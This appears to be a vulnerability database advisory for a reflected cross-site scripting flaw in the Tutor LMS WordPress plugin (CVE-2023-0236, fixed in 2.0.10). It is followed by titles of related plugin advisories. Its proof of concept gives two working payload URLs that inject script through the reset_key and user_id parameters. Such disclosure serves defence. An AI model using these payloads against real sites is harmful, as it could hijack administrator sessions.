Tutor LMS < 2.0.10 – Reflected Cross-Site Scripting | CVE 2023-0236 | Plugin Vulnerabilities

Description

The plugin does not sanitise and escape the reset_key and user_id parameters before outputting then back in attributes, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

https://example.com/dashboard/retrieve-password/?reset_key=%22%3E%3Csvg%20onload=prompt(/XSS/)%3E&user_id=dd

https://example.com/dashboard/retrieve-password/?reset_key=a&user_id=%22%3E%3Csvg%20onload=prompt(/XSS/)%3E

Affects Plugins

Fixed in 2.0.10

References

CVE

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

So Sakaguchi

Submitter

So Sakaguchi

Submitter twitter

Verified

Yes

WPVDB ID

503835db-426d-4b49-85f7-c9a20d6ff5b8

Timeline

Publicly Published

2023-01-12 (about 3 years ago)

Added

2023-01-12 (about 3 years ago)

Last Updated

2023-01-12 (about 3 years ago)

Other

Published

Title

Published

2022-08-01

Title

Multiple Plugins from Puvox.software - Reflected Cross-Site Scripting

Published

2023-12-05

Title

Cookie Bar < 2.1 - Authenticated (Administrator+) Stored Cross-Site Scripting via settings

Published

2024-12-13

Title

Import Eventbrite Events < 1.7.5 - Reflected Cross-Site Scripting

Published

2023-04-13

Title

Watu Quiz < 3.3.9.3 - Reflected XSS

Published

2025-04-16

Title

Travelfic Toolkit < 1.2.3 - Authenticated (Contributor+) Stored Cross-Site Scripting